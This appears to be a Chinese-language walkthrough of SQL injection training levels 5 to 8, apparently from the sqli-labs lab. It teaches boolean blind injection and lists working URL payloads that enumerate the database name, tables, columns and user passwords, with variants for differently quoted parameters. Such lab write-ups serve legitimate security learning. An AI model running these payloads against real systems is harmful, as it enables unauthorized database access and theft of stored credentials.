目录
第五关
我们发现无论注入什么类型的参数都显示着下面这个东西
刚开始时我用的是报错注入,后来发现爆数据时爆不出来[无奈],看了别人的wp才知道用布尔盲注,这是因为数据 不显示只有对错页面显示我们可以选择布尔盲注。这个注入方式需要用到三个重要的函数length(),substr(),ascii(),大家需要了解他们各自的用法。不多说啦,开始注入
爆出数据库长度------这里的=可以换成>或<(我是先用>判断大概数据库长度,然后用=进行确认),看大家的喜好length(select database()) = i
获取库名长度,i是长度
?id=1'and length((select database()))=8--+
判断数据库名------substr(database,i,1),将数据库进行切片,从第i个字符截取1个,对库名逐个猜解
?id=1'and ascii(substr((select database()),1,1))=115--+
判断表的数量------select count(*)
?id=1'and (select count(*) from information_schema.tables where table_schema=database())=4--+
判断所有表长度
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29--+
判断所有表名----这里表示第一个表的字符ascii码为101,大家需要判断剩下的,在substr函数中
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
判断所有字段长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20--+
判断所有字段名-----这里大家也是要进行其他字段的判断,也是在substr函数中
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
判断所需要的数据长度
?id=1'and length((select group_concat(password) from users))=96--+
判断数据内容
?id=1'and ascii(substr((select group_concat(password) from users),1,1))=68--+
第五关中,我们可以知道用手工进行布尔注入其实非常麻烦,需要耗费大量的时间,大家可以用python脚本自动化注入CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客
这里我放上脚本的博客,大家可以去看看这位博客,对布尔盲注可以进行更深的了解
还有,大家如果实在不知道参数注入类型的话就去看看源代码,看不懂的就网上搜,实在不行的话再去看网上的wp
第六关
与第五关注入过程差不多,根据题目报错信息可以得知,参数类型是id=1"---双引号,只需要将第五关的'改成"
第七关
这一关与前面两关有点不同,当我们用数字型注入id=1以及后面附加条件都只显示You are in.... Use outfile......
接着我们用id=1'试试
可以发现提示语句发生明显变化
我们再用id=1"试试有什么不同
可以发现跟数字型注入是一样的,而单引号注入时提示语句发生改变,刚开始做时也是有点懵笔,但是看了一下源代码后,可以知道:当我们用【‘】注入时,改变了他原来的语句结构,才提示报错,此时我们可以用【'))】的形式注入,发现注入语句正确,没有提示报错,就可以继续用布尔盲注啦!
第八关
第八关与第五关是一样的,只是它提示的信息改了而已,大家可以去看看第五关的
注入形式为 ?id=1'--+ 大家还是继续用布尔盲注语句进行
大家要勤于练习,不能只看不练,快要软考了,冲冲冲!